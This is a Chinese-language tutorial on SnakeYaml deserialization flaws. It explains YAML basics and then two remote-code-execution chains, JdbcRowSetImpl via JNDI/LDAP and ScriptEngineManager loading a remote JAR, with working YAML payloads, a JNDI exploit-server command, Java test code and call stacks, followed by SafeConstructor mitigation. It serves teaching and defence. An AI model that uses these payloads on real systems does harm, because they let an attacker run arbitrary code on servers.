Java安全之SnakeYaml漏洞分析与利用
字数 1462 2025-08-20 18:17:41

SnakeYaml漏洞分析与利用教学文档

1. 简介

1.1 YAML基础

YAML是一种人类可读的数据序列化语言,常用于编写配置文件。基本特点:

  • 大小写敏感
  • 使用缩进表示层级关系
  • 缩进只允许使用空格
  • #表示注释
  • 支持对象、数组、纯量三种数据结构

示例:

# YAML对象
key: 
    child-key: value
    child-key2: value2

# YAML数组
companies:
    -
        id: 1
        name: company1
        price: 200W
    -
        id: 2
        name: company2
        price: 500W

1.2 SnakeYaml库

SnakeYaml是Java中解析YAML的库,提供YAML数据和Java对象相互转换的API:

  • Yaml.load(): 将YAML数据反序列化为Java对象
  • Yaml.dump(): 将Java对象序列化为YAML格式

2. 基本使用示例

2.1 环境准备

  • JDK 1.8_66
  • Maven依赖:
<dependency>
    <groupId>org.yaml</groupId>
    <artifactId>snakeyaml</artifactId>
    <version>1.27</version>
</dependency>

2.2 序列化示例

public class Person {
    private String username;
    private int age;
    
    // 构造方法、getter和setter
}

public class SnakeYamlTest {
    public static void main(String[] args) {
        Yaml yaml = new Yaml();
        Person person = new Person("mike", 18);
        String str = yaml.dump(person);
        System.out.println(str);
    }
}

输出:

!!SnakeYaml.Person {age: 18, username: mike}

注:!!表示对应的类名,序列化过程会触发类属性对应的get方法

2.3 反序列化示例

public class SnakeYamlTest {
    public static void main(String[] args) {
        String str = "!!SnakeYaml.Person {age: 18, username: mike}";
        Yaml yaml = new Yaml();
        Person person = (Person) yaml.load(str);
        System.out.println(person);
    }
}

输出:

SnakeYaml.Person@48533e64

注:反序列化过程会触发类属性对应的set方法

3. 漏洞分析与利用

3.1 JdbcRowSetImpl链利用

环境要求

  • SnakeYaml 1.27
  • JDK 1.8_66

利用步骤

  1. 启动LDAP服务:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 127.0.0.1 -C "calc.exe"
  1. POC:
!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: ldap://127.0.0.1:1389/5cjybz, autoCommit: true}
  1. 测试代码:
public class PocTest1 {
    public static void main(String[] args) {
        String poc = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: ldap://127.0.0.1:1389/5cjybz, autoCommit: true}";
        Yaml yaml = new Yaml();
        yaml.load(poc);
    }
}

漏洞原理

  1. 反序列化过程中会调用JdbcRowSetImplsetAutoCommit方法
  2. setAutoCommit方法内部会调用connect方法
  3. connect方法通过JNDI查找dataSourceName指定的LDAP服务
  4. 触发JNDI注入,执行恶意代码

关键调用栈

getObjectFactoryFromReference:163, NamingManager
getObjectInstance:189, DirectoryManager
c_lookup:1085, LdapCtx
p_lookup:542, ComponentContext
lookup:177, PartialCompositeContext
lookup:205, GenericURLContext
lookup:94, ldapURLContext
lookup:417, InitialContext
connect:624, JdbcRowSetImpl
setAutoCommit:4067, JdbcRowSetImpl
invoke0:-1, NativeMethodAccessorImpl
invoke:62, NativeMethodAccessorImpl
invoke:43, DelegatingMethodAccessorImpl
invoke:497, Method
set:77, MethodProperty
constructJavaBean2ndStep:285, Constructor$ConstructMapping
construct:171, Constructor$ConstructMapping
construct:331, Constructor$ConstructYamlObject
constructObjectNoCheck:229, BaseConstructor
constructObject:219, BaseConstructor
constructDocument:173, BaseConstructor
getSingleData:157, BaseConstructor
loadFromReader:490, Yaml
load:416, Yaml

3.2 ScriptEngineManager链利用

SPI机制简介

SPI(Service Provider Interface)是JDK内置的服务提供发现机制。通过在ClassPath路径下的META-INF/services文件夹下查找文件,自动加载文件中所定义的类。

环境要求

  • SnakeYaml 1.27
  • JDK 1.8_66

利用步骤

  1. 准备恶意JAR包:

    • 使用项目:https://github.com/artsploit/yaml-payload.git
    • 修改AwesomeScriptEngineFactory.java中的命令执行代码
    • 编译:
      javac src/artsploit/AwesomeScriptEngineFactory.java
      jar -cvf yaml-payload.jar -C src/ .
      
    • 注意:必须使用一致的Java版本编译
  2. 启动Web服务:

python -m http.server 8080
  1. POC:
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://127.0.0.1:8080/yaml-payload.jar"]
  ]]
]
  1. 测试代码:
public class PocTest2 {
    public static void main(String[] args) {
        String poc = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:8080/yaml-payload.jar\"]]]]\n";
        Yaml yaml = new Yaml();
        yaml.load(poc);
    }
}

漏洞原理

  1. 反序列化过程中会实例化ScriptEngineManager
  2. ScriptEngineManager构造函数会通过SPI机制加载META-INF/services中定义的类
  3. 从恶意JAR包中加载并实例化AwesomeScriptEngineFactory
  4. 在构造函数中执行恶意代码

关键调用栈

nextService:381, ServiceLoader$LazyIterator
next:404, ServiceLoader$LazyIterator
next:480, ServiceLoader$1
initEngines:122, ScriptEngineManager
init:84, ScriptEngineManager
<init>:75, ScriptEngineManager
newInstance0:-1, NativeConstructorAccessorImpl
newInstance:62, NativeConstructorAccessorImpl
newInstance:45, DelegatingConstructorAccessorImpl
newInstance:422, Constructor
construct:570, Constructor$ConstructSequence
construct:331, Constructor$ConstructYamlObject
constructObjectNoCheck:229, BaseConstructor
constructObject:219, BaseConstructor
constructDocument:173, BaseConstructor
getSingleData:157, BaseConstructor
loadFromReader:490, Yaml
load:416, Yaml

4. 漏洞修复方案

4.1 安全使用建议

  1. 禁止yaml.load方法中的参数可控
  2. 使用安全构造函数:
Yaml yaml = new Yaml(new SafeConstructor());

4.2 SafeConstructor白名单

SafeConstructor定义了反序列化类的白名单:

public SafeConstructor(LoaderOptions loadingConfig) {
    super(loadingConfig);
    this.yamlConstructors.put(Tag.NULL, new ConstructYamlNull());
    this.yamlConstructors.put(Tag.BOOL, new ConstructYamlBool());
    this.yamlConstructors.put(Tag.INT, new ConstructYamlInt());
    this.yamlConstructors.put(Tag.FLOAT, new ConstructYamlFloat());
    this.yamlConstructors.put(Tag.BINARY, new ConstructYamlBinary());
    this.yamlConstructors.put(Tag.TIMESTAMP, new ConstructYamlTimestamp());
    this.yamlConstructors.put(Tag.OMAP, new ConstructYamlOmap());
    this.yamlConstructors.put(Tag.PAIRS, new ConstructYamlPairs());
    this.yamlConstructors.put(Tag.SET, new ConstructYamlSet());
    this.yamlConstructors.put(Tag.STR, new ConstructYamlStr());
    this.yamlConstructors.put(Tag.SEQ, new ConstructYamlSeq());
    this.yamlConstructors.put(Tag.MAP, new ConstructYamlMap());
    this.yamlConstructors.put((Object)null, undefinedConstructor);
    this.yamlClassConstructors.put(NodeId.scalar, undefinedConstructor);
    this.yamlClassConstructors.put(NodeId.sequence, undefinedConstructor);
    this.yamlClassConstructors.put(NodeId.mapping, undefinedConstructor);
}

5. 总结

  1. SnakeYaml的反序列化漏洞主要源于可以加载任意类并调用其方法
  2. 两种主要利用方式:
    • JdbcRowSetImpl链:通过JNDI注入实现RCE
    • ScriptEngineManager链:通过SPI机制加载恶意类实现RCE
  3. 修复方案是使用SafeConstructor限制可反序列化的类
  4. 关键点在于理解YAML反序列化过程中如何实例化对象和调用方法

通过本文的学习,读者应该能够理解SnakeYaml漏洞的原理、利用方式及防御方法,在实际开发中安全地使用SnakeYaml库。

SnakeYaml漏洞分析与利用教学文档 1. 简介 1.1 YAML基础 YAML是一种人类可读的数据序列化语言,常用于编写配置文件。基本特点: 大小写敏感 使用缩进表示层级关系 缩进只允许使用空格 # 表示注释 支持对象、数组、纯量三种数据结构 示例: 1.2 SnakeYaml库 SnakeYaml是Java中解析YAML的库,提供YAML数据和Java对象相互转换的API: Yaml.load() : 将YAML数据反序列化为Java对象 Yaml.dump() : 将Java对象序列化为YAML格式 2. 基本使用示例 2.1 环境准备 JDK 1.8_ 66 Maven依赖: 2.2 序列化示例 输出: 注: !! 表示对应的类名,序列化过程会触发类属性对应的get方法 2.3 反序列化示例 输出: 注:反序列化过程会触发类属性对应的set方法 3. 漏洞分析与利用 3.1 JdbcRowSetImpl链利用 环境要求 SnakeYaml 1.27 JDK 1.8_ 66 利用步骤 启动LDAP服务: POC: 测试代码: 漏洞原理 反序列化过程中会调用 JdbcRowSetImpl 的 setAutoCommit 方法 setAutoCommit 方法内部会调用 connect 方法 connect 方法通过JNDI查找 dataSourceName 指定的LDAP服务 触发JNDI注入,执行恶意代码 关键调用栈 3.2 ScriptEngineManager链利用 SPI机制简介 SPI(Service Provider Interface)是JDK内置的服务提供发现机制。通过在ClassPath路径下的 META-INF/services 文件夹下查找文件,自动加载文件中所定义的类。 环境要求 SnakeYaml 1.27 JDK 1.8_ 66 利用步骤 准备恶意JAR包: 使用项目:https://github.com/artsploit/yaml-payload.git 修改 AwesomeScriptEngineFactory.java 中的命令执行代码 编译: 注意:必须使用一致的Java版本编译 启动Web服务: POC: 测试代码: 漏洞原理 反序列化过程中会实例化 ScriptEngineManager ScriptEngineManager 构造函数会通过SPI机制加载 META-INF/services 中定义的类 从恶意JAR包中加载并实例化 AwesomeScriptEngineFactory 类 在构造函数中执行恶意代码 关键调用栈 4. 漏洞修复方案 4.1 安全使用建议 禁止 yaml.load 方法中的参数可控 使用安全构造函数: 4.2 SafeConstructor白名单 SafeConstructor 定义了反序列化类的白名单: 5. 总结 SnakeYaml的反序列化漏洞主要源于可以加载任意类并调用其方法 两种主要利用方式: JdbcRowSetImpl链:通过JNDI注入实现RCE ScriptEngineManager链:通过SPI机制加载恶意类实现RCE 修复方案是使用 SafeConstructor 限制可反序列化的类 关键点在于理解YAML反序列化过程中如何实例化对象和调用方法 通过本文的学习,读者应该能够理解SnakeYaml漏洞的原理、利用方式及防御方法,在实际开发中安全地使用SnakeYaml库。